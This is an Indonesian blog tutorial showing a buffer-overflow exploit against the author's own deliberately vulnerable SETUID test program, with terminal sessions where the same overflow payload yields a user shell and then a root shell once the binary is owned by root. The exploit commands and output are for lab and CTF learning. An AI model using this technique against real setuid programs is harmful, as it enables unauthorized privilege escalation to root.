Dengan teknik buffer overflow bisa terjadi efek domino atau efek lanjutan yang bisa jauh lebih berbahaya. Di salah satu posting blog ini telah dijelaskan bagaimana cara memanfaatkan vulnerability sebuah program dan pada akhirnya bisa menghasilkan sebuah shell. Pada posting kali ini akan dijelaskan salah satu spot menarik untuk kita mendapatkan shell root, bukan sekedar shell user dengan privilege terbatas.
SETUID adalah salah satu flag di file system Linux yang tujuannya untuk menge-set user ID sesuai dengan pemilik file ketika file akan di eksekusi. SETUID octal value adalah 04000. Jadi kalau mau setting SETUID pada file “hehe.txt” untuk read,write,exec oleh user bersangkutan dan read,exec oleh group user bersangkutan + others adalah dengan command “chmod 4755 hehe.txt”.
Langsung saja tidak pake basa-basi lagi, ini adalah program vulnerable kita yang dieksekusi dengan argumen khusus yang telah diracik sehingga hasilnya adalah sebuah shell…
Pertama status pemilik file executable “S9” nya adalah user “inan”. Program dieksekusi dari user “inan”. Bagi yang bingung, file “S9” itu adalah binary program yang telah saya buat (ada di postingan ini).
inan@ubuntu:~/Desktop/bof/demo$ ls -l total 16 -rwsr-xr-x 1 inan users 7231 2011-12-20 07:06 S9 -rwxr-xr-x 1 inan users 31 2011-12-21 06:24 shellcode.bin -rw-r--r-- 1 inan users 125 2011-12-18 04:12 shellcode.txt inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";') [ATURAN] buffer B hanya bisa menampung 3 bytes data [BEFORE] ini buffer A masukan anda: abcdefghijklmno"??? [BEFORE] ini buffer B sekarang: [PROCESSING...] menyalin isi buffer A ke buffer B [AFTER] ini isi buffer A: abcdefghijklmno"??? [AFTER] ini isi buffer B: abcdefghijklmno"??? $ whoami inan $ exit inan@ubuntu:~/Desktop/bof/demo$
Kedua status pemiliknya (ceritanya diganti…) file “S9” milik user “bombom”. Sebagai catatan, file ini dieksekusi oleh user “inan”.
root@ubuntu:/home/inan/Desktop/bof/demo# chown bombom:users S9 root@ubuntu:/home/inan/Desktop/bof/demo# chmod 4755 S9
inan@ubuntu:~/Desktop/bof/demo$ ls -l total 16 -rwsr-xr-x 1 bombom users 7231 2011-12-20 07:06 S9 -rwxr-xr-x 1 inan users 31 2011-12-21 06:24 shellcode.bin -rw-r--r-- 1 inan users 125 2011-12-18 04:12 shellcode.txt inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";') [ATURAN] buffer B hanya bisa menampung 3 bytes data [BEFORE] ini buffer A masukan anda: abcdefghijklmno"??? [BEFORE] ini buffer B sekarang: [PROCESSING...] menyalin isi buffer A ke buffer B [AFTER] ini isi buffer A: abcdefghijklmno"??? [AFTER] ini isi buffer B: abcdefghijklmno"??? $ whoami bombom $ exit inan@ubuntu:~/Desktop/bof/demo$
Ketiga status pemiliknya (ceritanya diganti…) file “S9” adalah milik “root”. File ini dieksekusi dari user “inan”.
root@ubuntu:/home/inan/Desktop/bof/demo# chown root:root S9 root@ubuntu:/home/inan/Desktop/bof/demo# chmod 4755 S9
inan@ubuntu:~/Desktop/bof/demo$ ls -l total 16 -rwsr-xr-x 1 root root 7231 2011-12-20 07:06 S9 -rwxr-xr-x 1 inan users 31 2011-12-21 06:24 shellcode.bin -rw-r--r-- 1 inan users 125 2011-12-18 04:12 shellcode.txt inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";') [ATURAN] buffer B hanya bisa menampung 3 bytes data [BEFORE] ini buffer A masukan anda: abcdefghijklmno"??? [BEFORE] ini buffer B sekarang: [PROCESSING...] menyalin isi buffer A ke buffer B [AFTER] ini isi buffer A: abcdefghijklmno"??? [AFTER] ini isi buffer B: abcdefghijklmno"??? # whoami root # id uid=1000(inan) gid=1000(inan) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(inan) #
Dengan memanfaatkan program yang pemiliknya adalah root dan menggunakan flag SETUID, kita bisa cari bugsnya dan manfaatin file itu untuk gaining root shell. Kini, file “S9” bisa disebut sebuah rootkit hahahak.. ;p
Makasih kakak ilmunya, berguna sekali untuk event-event CTF …